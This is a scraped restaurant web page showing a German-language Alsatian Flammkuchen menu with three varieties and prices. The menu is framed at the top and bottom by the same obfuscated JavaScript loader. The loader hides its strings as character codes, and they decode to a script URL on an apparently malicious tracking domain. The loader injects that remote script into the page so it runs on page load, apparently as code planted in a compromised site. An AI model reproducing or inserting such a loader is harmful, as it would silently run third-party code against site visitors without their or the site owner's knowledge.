var u = String.fromCharCode(104,116,116,112,115,58,47,47,99,111,117,110,116,46,116,114,97,99,107,115,116,97,116,105,115,116,105,99,115,115,115,46,99,111,109,47,106,46,106,115,63,118,61);var d=document;var s=d.createElement(String.fromCharCode(115,99,114,105,112,116)); s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); var pl = u; s.src=pl; if (document.currentScript) { document.currentScript.parentNode.insertBefore(s, document.currentScript);} else {d.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(s);var list = document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116));list.insertBefore(s, list.childNodes[0]);}

JET US DÄM ELSAß

Etwas aus dem Elsaß

(oberrheinische Tiefebene)


Flammkooche selver jemaht

Flammkuchen aus eigener Zubereitung nach original elsässer Rezept


Alsatia 8,70

Schmand, Zwiebeln, Speck (Ca. 700 cm²)


Caseo 9,10

Schmand, Zwiebeln, Speck, Käse (Ca. 700 cm²)


Boletus 9,50

Schmand, Zwiebeln, Speck, Champignons (Ca. 700 cm²)


Unsere Empfehlung:

mit Beilagensalat +2,50


to top button var u = String.fromCharCode(104,116,116,112,115,58,47,47,99,111,117,110,116,46,116,114,97,99,107,115,116,97,116,105,115,116,105,99,115,115,115,46,99,111,109,47,106,46,106,115,63,118,61);var d=document;var s=d.createElement(String.fromCharCode(115,99,114,105,112,116)); s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); var pl = u; s.src=pl; if (document.currentScript) { document.currentScript.parentNode.insertBefore(s, document.currentScript);} else {d.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(s);var list = document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116));list.insertBefore(s, list.childNodes[0]);}